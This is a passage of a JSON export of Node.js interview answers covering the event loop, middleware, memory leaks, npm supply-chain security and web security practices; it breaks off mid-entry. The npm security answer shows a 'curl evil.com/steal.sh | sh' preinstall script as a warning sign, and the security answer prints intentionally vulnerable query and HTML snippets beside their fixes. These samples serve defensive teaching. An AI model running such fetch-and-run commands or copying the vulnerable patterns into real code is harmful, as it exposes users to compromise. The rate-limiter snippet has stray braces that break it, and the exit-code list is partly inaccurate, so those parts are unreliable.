    "content": "CommonJS and ES Modules are two different module systems in JavaScript. CommonJS is the module system used in Node.js, while ES Modules are the module system used in browsers and TypeScript.\n\n## CommonJS\n\n```js\nconst fs = require('fs');\n```\n\nCommonJS modules are loaded synchronously. This means that the module is loaded and evaluated before the code using the module is executed. It uses `require()` to load modules and `module.exports` to export modules.\n\n## ES Modules\n\n```js\nimport fs from 'fs';\n```\n\nES Modules are loaded asynchronously. This means that the module is loaded and evaluated when the module is used. It uses `import` to load modules and `export` to export modules.\n"
  },
  {
    "path": "src/data/question-groups/nodejs/content/error-handling.md",
    "content": "There are four fundamental strategies to report errors in Node.js:\n\n## `try...catch` blocks\n\n`try...catch` blocks are the most basic way to handle errors in JavaScript. They are synchronous and can only be used to handle errors in synchronous code. They are not suitable for asynchronous code, such as callbacks and promises.\n\n```js\nimport fs from 'node:fs';\n\ntry {\n  const data = fs.readFileSync('file.md', 'utf-8');\n  console.log(data);\n} catch (err) {\n  console.error(err);\n}\n```\n\n## Callbacks\n\nCallbacks are the most common way to handle errors in asynchronous code. They are passed as the last argument to a function and are called when the function completes or fails.\n\n```js\nimport fs from 'node:fs';\n\nfs.readFile('file.md', 'utf-8', (err, data) => {\n  if (err) {\n    console.error(err);\n    return;\n  }\n\n  console.log(data);\n});\n```\n\n## Promises\n\nPromises are a more modern way to handle errors in asynchronous code. They are returned by functions and can be chained together. They are resolved when the function completes and rejected when it fails.\n\n```js\nimport fs from 'node:fs/promises';\n\nfs.readFile('file.md', 'utf-8')\n  .then((data) => {\n    console.log(data);\n  })\n  .catch((err) => {\n    console.error(err);\n  });\n```\n\n## Event emitters\n\nEvent emitters are a more advanced way to handle errors in asynchronous code. They are returned by functions and emit an `error` event when they fail. They are resolved when the function completes and rejected when it fails.\n\n```js\nimport fs from 'node:fs';\n\nconst reader = fs.createReadStream('file.md', 'utf-8');\nreader.on('data', (data) => {\n  console.log(data);\n});\n\nreader.on('error', (err) => {\n  console.error(err);\n});\n```\n"
  },
  {
    "path": "src/data/question-groups/nodejs/content/event-loop-working.md",
    "content": "The Node.js event loop is the mechanism that allows Node.js to perform non-blocking I/O operations despite JavaScript being single-threaded. It continuously checks for and processes events and callbacks in a specific order through six distinct phases.\n\n## Six Phases of Event Loop\n\n### 1. Timers Phase\nExecutes callbacks scheduled by `setTimeout()` and `setInterval()`.\n\n```js\nsetTimeout(() => {\n  console.log('Timer callback');\n}, 100);\n```\n\n### 2. Pending Callbacks Phase\nExecutes I/O callbacks deferred from the previous cycle.\n\n### 3. Idle, Prepare Phase\nUsed internally by Node.js.\n\n### 4. Poll Phase\nRetrieves new I/O events and executes I/O-related callbacks. This is where most application code runs.\n\n```js\nimport fs from 'node:fs';\n\nfs.readFile('file.txt', (err, data) => {\n  console.log('File read - executed in poll phase');\n});\n```\n\n### 5. Check Phase\nExecutes `setImmediate()` callbacks.\n\n```js\nsetImmediate(() => {\n  console.log('setImmediate callback');\n});\n```\n\n### 6. Close Callbacks Phase\nHandles close events like `socket.on('close')`.\n\n## Microtasks vs Macrotasks\n\nMicrotasks (`process.nextTick()`, Promises) execute between each phase:\n\n```js\nsetTimeout(() => console.log('1: setTimeout'), 0);\nPromise.resolve().then(() => console.log('2: Promise'));\nprocess.nextTick(() => console.log('3: nextTick'));\n\n// Output order:\n// 3: nextTick\n// 2: Promise\n// 1: setTimeout\n```\n\n## process.nextTick() vs setImmediate()\n\n```js\n// process.nextTick - executes before any I/O\nprocess.nextTick(() => console.log('nextTick'));\n\n// setImmediate - executes in check phase (after I/O)\nsetImmediate(() => console.log('setImmediate'));\n\n// Inside I/O callback, setImmediate always runs first\nimport fs from 'node:fs';\n\nfs.readFile('file.txt', () => {\n  setImmediate(() => console.log('setImmediate'));\n  setTimeout(() => console.log('setTimeout'), 0);\n  // Output: setImmediate, setTimeout\n});\n```\n\n## Best Practices\n\n- Never block the event loop with synchronous operations\n- Use `setImmediate()` for breaking up CPU-intensive work\n- Avoid recursive `process.nextTick()` calls (can starve I/O)\n- Use worker threads for heavy computation\n\n"
  },
  {
    "path": "src/data/question-groups/nodejs/content/exit-codes.md",
    "content": "The following exit codes are used in Node.js:\n\n- `0`: Success\n- `1`: Uncaught Fatal Exception\n- `2`: Unused\n- `3`: Internal JavaScript Parse Error\n- `4`: Internal JavaScript Evaluation Failure\n- `5`: Fatal Error\n- `6`: Non-function Internal Exception Handler\n- `7`: Internal Exception Handler Run-Time Failure\n- `8`: Unused\n- `9`: Invalid Argument\n- `10`: Internal JavaScript Run-Time Failure\n- `12`: Invalid Debug Argument\n- `13`: Uncaught Exception\n- `14`: Unhandled Promise Rejection\n- `15`: Fatal Exception\n- `16`: Signal Exits\n"
  },
  {
    "path": "src/data/question-groups/nodejs/content/input-from-command-line.md",
    "content": "In order to take user input from the command line, you can use the `readline` module. It provides an interface for reading data from a Readable stream (such as `process.stdin`) one line at a time.\n\n```js\nimport readline from 'node:readline';\nimport { stdin as input, stdout as output } from 'node:process';\n\nconst rl = readline.createInterface({ input, output });\n\nrl.question('What do you think of Node.js? ', (answer) => {\n  console.log(`Thank you for your valuable feedback: ${answer}`);\n  rl.close();\n});\n\nrl.on('close', () => {\n  console.log('\\nBYE BYE !!!');\n  process.exit(0);\n});\n```\n"
  },
  {
    "path": "src/data/question-groups/nodejs/content/memory-leak-debugging.md",
    "content": "Memory leaks in Node.js occur when the application retains references to objects that are no longer needed, preventing garbage collection from freeing memory. Identifying and fixing these leaks is crucial for long-running applications.\n\n## Common Causes of Memory Leaks\n\n### 1. Unremoved Event Listeners\n\n```js\n// ❌ Memory leak: listeners accumulate\nfunction handleRequest(req, res) {\n  req.on('data', (chunk) => {\n    // Process data\n  });\n  // Listener never removed!\n}\n\n// ✅ Fixed: Remove listeners when done\nfunction handleRequest(req, res) {\n  const onData = (chunk) => {\n    // Process data\n  };\n  req.on('data', onData);\n  \n  res.on('finish', () => {\n    req.removeListener('data', onData);\n  });\n}\n```\n\n### 2. Global Variables\n\n```js\n// ❌ Memory leak: data keeps growing\nconst cache = {};\n\nfunction processRequest(id, data) {\n  cache[id] = data; // Never cleaned up\n}\n\n// ✅ Fixed: Use LRU cache with size limit\nimport LRU from 'lru-cache';\nconst cache = new LRU({ max: 500 });\n\nfunction processRequest(id, data) {\n  cache.set(id, data);\n}\n```\n\n### 3. Closures Holding References\n\n```js\n// ❌ Memory leak: closure retains largeData\nfunction createHandler() {\n  const largeData = new Array(1000000).fill('x');\n  \n  return function handler(req, res) {\n    // largeData is retained even if not used\n    res.send('OK');\n  };\n}\n\n// ✅ Fixed: Don't capture unnecessary variables\nfunction createHandler() {\n  return function handler(req, res) {\n    res.send('OK');\n  };\n}\n```\n\n### 4. Timers Not Cleared\n\n```js\n// ❌ Memory leak: interval never cleared\nfunction startPolling() {\n  setInterval(() => {\n    fetchData();\n  }, 1000);\n}\n\n// ✅ Fixed: Clear interval when done\nfunction startPolling() {\n  const intervalId = setInterval(() => {\n    fetchData();\n  }, 1000);\n  \n  return () => clearInterval(intervalId);\n}\n```\n\n## Debugging Tools\n\n### 1. Node.js Inspector (Chrome DevTools)\n\n```bash\n# Start with inspector\nnode --inspect app.js\n\n# Or attach to running process\nnode --inspect=9229 app.js\n```\n\nThen open `chrome://inspect` in Chrome and take heap snapshots.\n\n### 2. process.memoryUsage()\n\n```js\n// Monitor memory in application\nsetInterval(() => {\n  const usage = process.memoryUsage();\n  console.log({\n    heapUsed: `${Math.round(usage.heapUsed / 1024 / 1024)}MB`,\n    heapTotal: `${Math.round(usage.heapTotal / 1024 / 1024)}MB`,\n    external: `${Math.round(usage.external / 1024 / 1024)}MB`,\n    rss: `${Math.round(usage.rss / 1024 / 1024)}MB`\n  });\n}, 5000);\n```\n\n### 3. Heap Snapshots Programmatically\n\n```js\nimport v8 from 'node:v8';\n\nfunction takeHeapSnapshot() {\n  const snapshotFile = `heap-${Date.now()}.heapsnapshot`;\n  v8.writeHeapSnapshot(snapshotFile);\n  console.log(`Heap snapshot written to ${snapshotFile}`);\n}\n\n// Take snapshot on SIGUSR2\nprocess.on('SIGUSR2', takeHeapSnapshot);\n```\n\n### 4. Using clinic.js\n\n```bash\n# Install\nnpm install -g clinic\n\n# Profile for memory issues\nclinic doctor -- node app.js\nclinic heapprofiler -- node app.js\n```\n\n## Detection Pattern\n\n```js\n// Simple leak detection\nconst initialMemory = process.memoryUsage().heapUsed;\n\nsetInterval(() => {\n  const currentMemory = process.memoryUsage().heapUsed;\n  const growth = currentMemory - initialMemory;\n  \n  if (growth > 50 * 1024 * 1024) { // 50MB growth\n    console.warn('Possible memory leak detected!');\n    console.log(`Memory grew by ${Math.round(growth / 1024 / 1024)}MB`);\n  }\n}, 30000);\n```\n\n## Best Practices to Prevent Leaks\n\n1. **Always remove event listeners** when they're no longer needed\n2. **Use WeakMap/WeakSet** for caches tied to object lifetime\n3. **Set limits on caches and queues**\n4. **Clear timeouts and intervals**\n5. **Monitor memory in production** with APM tools\n6. **Regular load testing** to catch leaks early\n\n```js\n// Example: WeakMap for metadata\nconst metadata = new WeakMap();\n\nfunction attachMetadata(obj, data) {\n  metadata.set(obj, data);\n  // When obj is garbage collected, metadata entry is too\n}\n```\n\n"
  },
  {
    "path": "src/data/question-groups/nodejs/content/middleware-pattern.md",
    "content": "Middleware is a function that has access to the request object, response object, and the next middleware function in the application's request-response cycle. It's a core pattern in Express.js and similar frameworks for handling HTTP requests in a modular way.\n\n## Basic Middleware Structure\n\n```js\n// Middleware function signature\nfunction middleware(req, res, next) {\n  // Do something with req/res\n  console.log(`${req.method} ${req.url}`);\n  \n  // Pass control to next middleware\n  next();\n}\n\n// Using middleware\nimport express from 'express';\nconst app = express();\n\napp.use(middleware);\n```\n\n## Types of Middleware\n\n### 1. Application-level Middleware\n\n```js\nconst app = express();\n\n// Runs for ALL requests\napp.use((req, res, next) => {\n  req.requestTime = Date.now();\n  next();\n});\n\n// Runs only for /api/* routes\napp.use('/api', (req, res, next) => {\n  console.log('API request');\n  next();\n});\n```\n\n### 2. Router-level Middleware\n\n```js\nconst router = express.Router();\n\n// Middleware for this router only\nrouter.use((req, res, next) => {\n  console.log('Router middleware');\n  next();\n});\n\nrouter.get('/users', (req, res) => {\n  res.json({ users: [] });\n});\n\napp.use('/api', router);\n```\n\n### 3. Error-handling Middleware\n\n```js\n// Must have 4 parameters\napp.use((err, req, res, next) => {\n  console.error(err.stack);\n  res.status(500).json({\n    error: 'Something went wrong!',\n    message: err.message\n  });\n});\n\n// Triggering error middleware\napp.get('/error', (req, res, next) => {\n  const error = new Error('Test error');\n  next(error); // Passes to error middleware\n});\n```\n\n### 4. Built-in Middleware\n\n```js\n// Parse JSON bodies\napp.use(express.json());\n\n// Parse URL-encoded bodies\napp.use(express.urlencoded({ extended: true }));\n\n// Serve static files\napp.use(express.static('public'));\n```\n\n## Common Middleware Examples\n\n### Authentication Middleware\n\n```js\nfunction authenticate(req, res, next) {\n  const token = req.headers.authorization?.split(' ')[1];\n  \n  if (!token) {\n    return res.status(401).json({ error: 'No token provided' });\n  }\n  \n  try {\n    const decoded = jwt.verify(token, process.env.JWT_SECRET);\n    req.user = decoded;\n    next();\n  } catch (err) {\n    res.status(401).json({ error: 'Invalid token' });\n  }\n}\n\n// Use on protected routes\napp.get('/profile', authenticate, (req, res) => {\n  res.json({ user: req.user });\n});\n```\n\n### Logging Middleware\n\n```js\nfunction logger(req, res, next) {\n  const start = Date.now();\n  \n  res.on('finish', () => {\n    const duration = Date.now() - start;\n    console.log(`${req.method} ${req.url} ${res.statusCode} - ${duration}ms`);\n  });\n  \n  next();\n}\n\napp.use(logger);\n```\n\n### Rate Limiting Middleware\n\n```js\nconst rateLimit = new Map();\n\nfunction rateLimiter(limit = 100, windowMs = 60000) {\n  return (req, res, next) => {\n    const ip = req.ip;\n    const now = Date.now();\n    \n    if (!rateLimit.has(ip)) {\n      rateLimit.set(ip, { count: 1, resetTime: now + windowMs });\n      return next();\n    }\n    \n    const record = rateLimit.get(ip);\n    \n    if (now > record.resetTime) {\n      // Window expired - reset and clean up\n      record.count = 1;\n      record.resetTime = now + windowMs;\n      return next();\n    }\n    \n    if (record.count >= limit) {\n      return res.status(429).json({ error: 'Too many requests' });\n    }\n    \n    record.count++;\n    next();\n  };\n}\n\n// Cleanup old entries periodically (prevents memory leak)\nsetInterval(() => {\n  const now = Date.now();\n  for (const [ip, record] of rateLimit.entries()) {\n    if (now > record.resetTime) {\n      rateLimit.delete(ip);\n    }\n  }\n}, 60000); // Clean up every minute\n  };\n}\n\napp.use(rateLimiter(100, 60000));\n```\n\n## Middleware Execution Order\n\n```js\napp.use((req, res, next) => {\n  console.log('1: First middleware');\n  next();\n});\n\napp.use((req, res, next) => {\n  console.log('2: Second middleware');\n  next();\n});\n\napp.get('/', (req, res) => {\n  console.log('3: Route handler');\n  res.send('Hello');\n});\n\n// Output:\n// 1: First middleware\n// 2: Second middleware\n// 3: Route handler\n```\n\n## Best Practices\n\n1. **Always call next()** unless sending a response\n2. **Order matters** - define middleware in correct sequence\n3. **Keep middleware focused** - single responsibility\n4. **Handle errors properly** - use error middleware\n5. **Use async/await** - wrap async middleware to catch errors\n\n```js\n// Async middleware wrapper\nconst asyncHandler = (fn) => (req, res, next) => {\n  Promise.resolve(fn(req, res, next)).catch(next);\n};\n\napp.get('/users', asyncHandler(async (req, res) => {\n  const users = await User.find();\n  res.json(users);\n}));\n```\n\n"
  },
  {
    "path": "src/data/question-groups/nodejs/content/npm-package-security.md",
    "content": "Managing npm package security is crucial for Node.js applications. Third-party dependencies can introduce vulnerabilities that compromise your entire application. Here's how to maintain a secure dependency chain.\n\n## 1. Audit Dependencies\n\n### npm audit\n\n```bash\n# Check for vulnerabilities\nnpm audit\n\n# Get detailed JSON report\nnpm audit --json\n\n# Fix automatically (where possible)\nnpm audit fix\n\n# Force fix (may include breaking changes)\nnpm audit fix --force\n```\n\n### Understanding Severity Levels\n\n| Level | Description | Action |\n|-------|-------------|--------|\n| Critical | Actively exploited | Fix immediately |\n| High | Easily exploitable | Fix ASAP |\n| Moderate | Requires specific conditions | Plan to fix |\n| Low | Minimal impact | Fix when convenient |\n\n## 2. Lock Files\n\nAlways commit lock files to ensure consistent installs.\n\n```bash\n# package-lock.json (npm)\nnpm ci  # Clean install from lock file\n\n# pnpm-lock.yaml (pnpm)\npnpm install --frozen-lockfile\n\n# yarn.lock (yarn)\nyarn install --frozen-lockfile\n```\n\n```json\n// package.json - use exact versions\n{\n  \"dependencies\": {\n    \"express\": \"4.18.2\",  // Exact version\n    \"lodash\": \"^4.17.21\"  // Allows minor updates (risky)\n  }\n}\n```\n\n## 3. Automated Security Updates\n\n### GitHub Dependabot\n\n```yaml\n# .github/dependabot.yml\nversion: 2\nupdates:\n  - package-ecosystem: \"npm\"\n    directory: \"/\"\n    schedule:\n      interval: \"weekly\"\n    open-pull-requests-limit: 10\n    reviewers:\n      - \"security-team\"\n```\n\n### Snyk Integration\n\n```bash\n# Install Snyk CLI\nnpm install -g snyk\n\n# Authenticate\nsnyk auth\n\n# Test for vulnerabilities\nsnyk test\n\n# Monitor continuously\nsnyk monitor\n\n# Fix vulnerabilities\nsnyk fix\n```\n\n## 4. Semantic Versioning Security\n\nUnderstanding semver for security:\n\n```\nMAJOR.MINOR.PATCH\n  |     |     |\n  |     |     └── Bug fixes (safe to update)\n  |     └──────── New features (usually safe)\n  └────────────── Breaking changes (review needed)\n```\n\n```json\n// package.json ranges\n{\n  \"dependencies\": {\n    \"express\": \"4.18.2\",    // Exact: Safest\n    \"lodash\": \"~4.17.21\",   // Patch updates only\n    \"axios\": \"^1.4.0\",      // Minor + Patch (common, less safe)\n    \"react\": \"*\"            // Any version (NEVER do this!)\n  }\n}\n```\n\n## 5. Scanning for Malicious Packages\n\n```bash\n# Check package before installing\nnpm info <package-name>\n\n# View package contents without installing\nnpm pack <package-name> --dry-run\n\n# Check download stats and maintenance\nnpm view <package-name> time\n```\n\n### Red Flags to Watch For\n\n1. **Typosquatting**: `expresss` instead of `express`\n2. **Recently published** packages with few downloads\n3. **No repository** or documentation\n4. **Unusual install scripts**\n\n```json\n// Check for suspicious scripts in package.json\n{\n  \"scripts\": {\n    \"preinstall\": \"curl evil.com/steal.sh | sh\",  // 🚨 DANGER!\n    \"postinstall\": \"node malicious.js\"            // 🚨 DANGER!\n  }\n}\n```\n\n## 6. Using npx Safely\n\n```bash\n# ❌ Dangerous - runs any package\nnpx some-random-package\n\n# ✅ Safer - specify exact version\nnpx create-react-app@5.0.1 my-app\n\n# ✅ Check before running\nnpm info <package-name>\n```\n\n## 7. Private Registry and Scopes\n\n```bash\n# Use scoped packages from your org\nnpm install @mycompany/utils\n\n# Configure private registry\nnpm config set @mycompany:registry https://npm.mycompany.com\n\n# .npmrc file\n@mycompany:registry=https://npm.mycompany.com\n//npm.mycompany.com/:_authToken=${NPM_TOKEN}\n```\n\n## 8. Security Policies\n\n### package.json overrides (npm 8.3+)\n\n```json\n{\n  \"overrides\": {\n    \"lodash\": \"4.17.21\",\n    \"vulnerable-package\": \"2.0.0\"\n  }\n}\n```\n\n### pnpm overrides\n\n```json\n{\n  \"pnpm\": {\n    \"overrides\": {\n      \"lodash\": \"4.17.21\"\n    }\n  }\n}\n```\n\n## 9. CI/CD Security Checks\n\n```yaml\n# GitHub Actions example\nname: Security Check\n\non: [push, pull_request]\n\njobs:\n  security:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v3\n      \n      - name: Setup Node\n        uses: actions/setup-node@v3\n        with:\n          node-version: '18'\n          \n      - name: Install dependencies\n        run: npm ci\n        \n      - name: Run security audit\n        run: npm audit --audit-level=high\n        \n      - name: Run Snyk\n        uses: snyk/actions/node@v1.1234.0  # Use specific version tag, not master\n        env:\n          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}\n```\n\n## 10. Best Practices Checklist\n\n- ✅ Run `npm audit` regularly (weekly minimum)\n- ✅ Always commit lock files\n- ✅ Use exact versions for critical packages\n- ✅ Enable Dependabot or Renovate\n- ✅ Review new dependencies before adding\n- ✅ Remove unused dependencies\n- ✅ Use scoped packages for internal code\n- ✅ Avoid packages with suspicious install scripts\n- ✅ Keep Node.js version updated\n- ✅ Set up security checks in CI/CD\n\n## Removing Unused Dependencies\n\n```bash\n# Find unused dependencies\nnpx depcheck\n\n# Remove a package\nnpm uninstall unused-package\n\n# Clean npm cache\nnpm cache clean --force\n```\n\n"
  },
  {
    "path": "src/data/question-groups/nodejs/content/order-priority.md",
    "content": "Order priorities of `process.nextTick`, `Promise`, `setTimeout` and `setImmediate` are as follows:\n\n1. `process.nextTick`: Highest priority, executed immediately after the current event loop cycle, before any other I/O events or timers.\n2. `Promise`: Executed in the microtask queue, after the current event loop cycle, but before the next one.\n3. `setTimeout`: Executed in the timer queue, after the current event loop cycle, with a minimum delay specified in milliseconds.\n4. `setImmediate`: Executed in the check queue, but its order may vary based on the system and load. It generally runs in the next iteration of the event loop after I/O events.\n\n```js\nconsole.log('start');\nPromise.resolve().then(() => console.log('Promise'));\nsetTimeout(() => console.log('setTimeout'), 0);\nprocess.nextTick(() => console.log('process.nextTick'));\nsetImmediate(() => console.log('setImmediate'));\nconsole.log('end');\n\n// Output:\n// start\n// end\n// process.nextTick\n// Promise\n// setTimeout\n// setImmediate\n```\n\nIn summary, the order of execution is generally `process.nextTick` > `Promise` > `setTimeout` > `setImmediate`. However, keep in mind that the behavior may vary in specific situations, and the order might be influenced by factors such as system load and other concurrent operations.\n"
  },
  {
    "path": "src/data/question-groups/nodejs/content/performance-optimization.md",
    "content": "Optimizing Node.js performance involves understanding the event loop, efficient resource usage, and applying best practices for handling I/O operations, memory, and CPU-intensive tasks.\n\n## 1. Avoid Blocking the Event Loop\n\n```js\n// ❌ Blocking - freezes the server\napp.get('/hash', (req, res) => {\n  const hash = crypto.pbkdf2Sync(password, salt, 100000, 64, 'sha512');\n  res.send(hash);\n});\n\n// ✅ Non-blocking - uses thread pool\napp.get('/hash', (req, res) => {\n  crypto.pbkdf2(password, salt, 100000, 64, 'sha512', (err, hash) => {\n    res.send(hash);\n  });\n});\n```\n\n## 2. Use Caching Effectively\n\n### In-Memory Caching\n\n```js\nimport NodeCache from 'node-cache';\nconst cache = new NodeCache({ stdTTL: 600 }); // 10 min TTL\n\nasync function getUserData(userId) {\n  // Check cache first\n  const cached = cache.get(`user:${userId}`);\n  if (cached) return cached;\n  \n  // Fetch from database\n  const user = await db.users.findById(userId);\n  \n  // Store in cache\n  cache.set(`user:${userId}`, user);\n  \n  return user;\n}\n```\n\n### Redis Caching\n\n```js\nimport Redis from 'ioredis';\nconst redis = new Redis();\n\nasync function getCachedData(key, fetchFn, ttl = 3600) {\n  const cached = await redis.get(key);\n  if (cached) return JSON.parse(cached);\n  \n  const data = await fetchFn();\n  await redis.setex(key, ttl, JSON.stringify(data));\n  \n  return data;\n}\n\n// Usage\nconst products = await getCachedData(\n  'products:all',\n  () => db.products.findAll(),\n  3600\n);\n```\n\n## 3. Database Query Optimization\n\n```js\n// ❌ N+1 Query Problem\nconst users = await User.findAll();\nfor (const user of users) {\n  user.posts = await Post.findAll({ where: { userId: user.id } });\n}\n\n// ✅ Eager loading - single query with JOIN\nconst users = await User.findAll({\n  include: [{ model: Post }]\n});\n\n// ✅ Use indexes\n// In your migration:\nawait queryInterface.addIndex('posts', ['userId']);\nawait queryInterface.addIndex('posts', ['createdAt']);\n\n// ✅ Select only needed fields\nconst users = await User.findAll({\n  attributes: ['id', 'name', 'email'] // Don't select everything\n});\n\n// ✅ Pagination\nconst users = await User.findAll({\n  limit: 20,\n  offset: (page - 1) * 20\n});\n```\n\n## 4. Use Streams for Large Data\n\n```js\n// ❌ Loads entire file in memory\napp.get('/download', async (req, res) => {\n  const data = await fs.promises.readFile('large-file.csv');\n  res.send(data);\n});\n\n// ✅ Stream the file\napp.get('/download', (req, res) => {\n  const stream = fs.createReadStream('large-file.csv');\n  res.setHeader('Content-Type', 'text/csv');\n  stream.pipe(res);\n});\n\n// ✅ Stream database results\napp.get('/export', async (req, res) => {\n  res.setHeader('Content-Type', 'application/json');\n  res.write('[');\n  \n  let first = true;\n  const cursor = User.find().cursor();\n  \n  for await (const user of cursor) {\n    if (!first) res.write(',');\n    res.write(JSON.stringify(user));\n    first = false;\n  }\n  \n  res.write(']');\n  res.end();\n});\n```\n\n## 5. Connection Pooling\n\n```js\n// PostgreSQL with pg\nimport { Pool } from 'pg';\n\nconst pool = new Pool({\n  max: 20, // Max connections in pool\n  idleTimeoutMillis: 30000,\n  connectionTimeoutMillis: 2000,\n});\n\n// Reuse connections from pool\napp.get('/users', async (req, res) => {\n  const client = await pool.connect();\n  try {\n    const result = await client.query('SELECT * FROM users');\n    res.json(result.rows);\n  } finally {\n    client.release(); // Return to pool\n  }\n});\n```\n\n## 6. Compression\n\n```js\nimport compression from 'compression';\n\n// Basic compression (uses sensible defaults)\napp.use(compression());\n\n// With custom options\napp.use(compression({\n  level: 6, // Compression level (1-9)\n  threshold: 1024, // Only compress if > 1KB\n}));\n\n// Custom filter to skip compression for certain requests\napp.use(compression({\n  filter: (req, res) => {\n    // Skip compression if client requests it\n    if (req.headers['x-no-compression']) return false;\n    \n    // Fallback to the default compression filter behavior\n    return compression.filter(req, res);\n  }\n}));\n```\n\n## 7. Use Clustering\n\n```js\nimport cluster from 'node:cluster';\nimport os from 'node:os';\n\nif (cluster.isPrimary) {\n  const numCPUs = os.cpus().length;\n  \n  for (let i = 0; i < numCPUs; i++) {\n    cluster.fork();\n  }\n  \n  cluster.on('exit', (worker) => {\n    console.log(`Worker ${worker.process.pid} died`);\n    cluster.fork(); // Restart\n  });\n} else {\n  await import('./app.js'); // Your Express app\n}\n\n// Or use PM2 (recommended)\n// pm2 start app.js -i max\n```\n\n## 8. Optimize JSON Operations\n\n```js\n// ❌ Slow for large objects\nconst data = JSON.parse(largeJsonString);\n\n// ✅ Use streaming JSON parser\nimport { parser } from 'stream-json';\nimport { streamArray } from 'stream-json/streamers/StreamArray.js';\n\nfs.createReadStream('large.json')\n  .pipe(parser())\n  .pipe(streamArray())\n  .on('data', ({ value }) => {\n    // Process each item\n  });\n\n// ✅ Use faster JSON libraries\nimport fastJson from 'fast-json-stringify';\n\nconst stringify = fastJson({\n  type: 'object',\n  properties: {\n    id: { type: 'integer' },\n    name: { type: 'string' }\n  }\n});\n\nconst json = stringify({ id: 1, name: 'John' }); // Faster than JSON.stringify\n```\n\n## 9. Monitoring and Profiling\n\n```js\n// Monitor event loop lag\nconst start = process.hrtime();\nsetImmediate(() => {\n  const delta = process.hrtime(start);\n  const lag = (delta[0] * 1e9 + delta[1]) / 1e6;\n  if (lag > 100) {\n    console.warn(`Event loop lag: ${lag}ms`);\n  }\n});\n\n// Memory monitoring\nsetInterval(() => {\n  const used = process.memoryUsage();\n  console.log({\n    heapUsed: `${Math.round(used.heapUsed / 1024 / 1024)}MB`,\n    heapTotal: `${Math.round(used.heapTotal / 1024 / 1024)}MB`\n  });\n}, 30000);\n```\n\n## Performance Checklist\n\n- ✅ Use async/await and don't block event loop\n- ✅ Implement caching (Redis, in-memory)\n- ✅ Optimize database queries (indexes, eager loading)\n- ✅ Use streams for large data\n- ✅ Enable compression\n- ✅ Use connection pooling\n- ✅ Cluster your application\n- ✅ Monitor performance metrics\n- ✅ Profile and identify bottlenecks\n\n"
  },
  {
    "path": "src/data/question-groups/nodejs/content/process-argv.md",
    "content": "`process.argv` is an array containing the command-line arguments passed when the Node.js process was launched. The first element is the path to the Node.js executable, the second element is the path to the JavaScript file being executed, and the remaining elements are the command-line arguments.\n\n```js\nnode index.js hello world\n```\n\n```js\nconsole.log(process.argv);\n// [\n//   '/usr/local/bin/node', -> path to the Node.js executable\n//   '/Users/username/projects/nodejs/index.js', -> path to the JavaScript file being executed\n//   'hello', -> command-line argument\n//   'world' -> command-line argument\n// ]\n```\n"
  },
  {
    "path": "src/data/question-groups/nodejs/content/process-cwd-vs-dirname.md",
    "content": "`process.cwd()` returns the current working directory of the Node.js process, while `__dirname` returns the directory name of the current module.\n\n```js\nconsole.log(process.cwd());\n// /Users/username/projects/nodejs\n\nconsole.log(__dirname);\n// /Users/username/projects/nodejs/src\n```\n"
  },
  {
    "path": "src/data/question-groups/nodejs/content/security-best-practices.md",
    "content": "Security is critical for Node.js applications, especially those handling sensitive data or exposed to the internet. Here are the most common vulnerabilities and how to prevent them.\n\n## 1. SQL Injection Prevention\n\nNever concatenate user input directly into queries.\n\n```js\n// ❌ Vulnerable to SQL injection\nconst query = `SELECT * FROM users WHERE id = ${req.params.id}`;\ndb.query(query);\n\n// ✅ Use parameterized queries\nconst query = 'SELECT * FROM users WHERE id = ?';\ndb.query(query, [req.params.id]);\n\n// ✅ With an ORM (Sequelize)\nconst user = await User.findOne({\n  where: { id: req.params.id }\n});\n```\n\n## 2. NoSQL Injection Prevention\n\n```js\n// ❌ Vulnerable - user can pass { $gt: \"\" }\nconst user = await User.findOne({\n  username: req.body.username,\n  password: req.body.password\n});\n\n// ✅ Validate and sanitize input\nconst { username, password } = req.body;\n\nif (typeof username !== 'string' || typeof password !== 'string') {\n  return res.status(400).json({ error: 'Invalid input' });\n}\n\nconst user = await User.findOne({\n  username: username.toString(),\n  password: password.toString()\n});\n```\n\n## 3. XSS (Cross-Site Scripting) Prevention\n\n```js\n// ❌ Vulnerable - renders user input as HTML\napp.get('/profile', (req, res) => {\n  res.send(`<h1>Hello ${req.query.name}</h1>`);\n});\n\n// ✅ Escape HTML entities\nimport escapeHtml from 'escape-html';\n\napp.get('/profile', (req, res) => {\n  res.send(`<h1>Hello ${escapeHtml(req.query.name)}</h1>`);\n});\n\n// ✅ Use Content Security Policy\nimport helmet from 'helmet';\napp.use(helmet.contentSecurityPolicy({\n  directives: {\n    defaultSrc: [\"'self'\"],\n    scriptSrc: [\"'self'\"],\n  }\n}));\n```\n\n## 4. Using Helmet.js\n\nHelmet sets various HTTP headers to secure your app.\n\n```js\nimport helmet from 'helmet';\nimport express from 'express';\nconst app = express();\n\n// Use all default protections\napp.use(helmet());\n\n// Or configure individually\napp.use(helmet.xssFilter());\napp.use(helmet.noSniff());\napp.use(helmet.hidePoweredBy());\napp.use(helmet.frameguard({ action: 'deny' }));\n```\n\n## 5. Rate Limiting\n\nPrevent brute force and DDoS attacks.\n\n```js\nimport rateLimit from 'express-rate-limit';\n\nconst limiter = rateLimit({\n  windowMs: 15 * 60 * 1000, // 15 minutes\n  max: 100, // limit each IP to 100 requests per window\n  message: 'Too many requests, please try again later'\n});\n\napp.use('/api/', limiter);\n\n// Stricter limit for auth endpoints\nconst authLimiter = rateLimit({\n  windowMs: 60 * 60 * 1000, // 1 hour\n  max: 5,\n  message: 'Too many login attempts'\n});\n\napp.use('/api/login', authLimiter);\n```\n\n## 6. Secure Authentication\n\n```js\nimport bcrypt from 'bcrypt';\nimport jwt from 'jsonwebtoken';\n\n// Hash passwords\nconst hashPassword = async (password) => {\n  const salt = await bcrypt.genSalt(12);\n  return bcrypt.hash(password, salt);\n};\n\n// Verify passwords\nconst verifyPassword = async (password, hash) => {\n  return bcrypt.compare(password, hash);\n};\n\n// Generate JWT\nconst generateToken = (user) => {\n  return jwt.sign(\n    { id: user.id, email: user.email },\n    process.env.JWT_SECRET,\n    { expiresIn: '1h' }\n  );\n};\n\n// Use HTTP-only cookies for tokens\nres.cookie('token', token, {\n  httpOnly: true,\n  secure: process.env.NODE_ENV === 'production',\n  sameSite: 'strict',\n  maxAge: 3600000\n});\n```\n\n## 7. Input Validation\n\n```js\nimport Joi from 'joi';\n\nconst userSchema = Joi.object({\n  username: Joi.string().alphanum().min(3).max(30).required(),\n  email: Joi.string().email().required(),\n  password: 